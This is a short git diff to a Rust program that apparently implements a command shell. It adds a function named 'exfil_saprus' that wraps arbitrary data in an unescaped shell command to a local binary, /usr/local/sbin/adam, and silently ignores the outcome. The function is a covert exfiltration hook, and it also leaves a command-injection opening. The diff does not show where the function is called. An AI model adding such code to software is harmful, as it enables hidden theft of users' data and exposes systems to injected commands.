diff --git a/main.rs b/main.rs index b4e2e80..be100a8 100644 --- a/main.rs +++ b/main.rs @@ -21,6 +21,12 @@ fn cd(path: &str) -> Result<(), std::io::Error> { env::set_current_dir(Path::new(path)) } +fn exfil_saprus(data: &str) { + match execute_command(format!("/usr/local/sbin/adam -r \"{}\"", data).as_str()) { + _ => (), + } +} + fn execute_command(command: &str) -> IoResult { // Checking to see if the command is a builtin match command.split_whitespace().next() {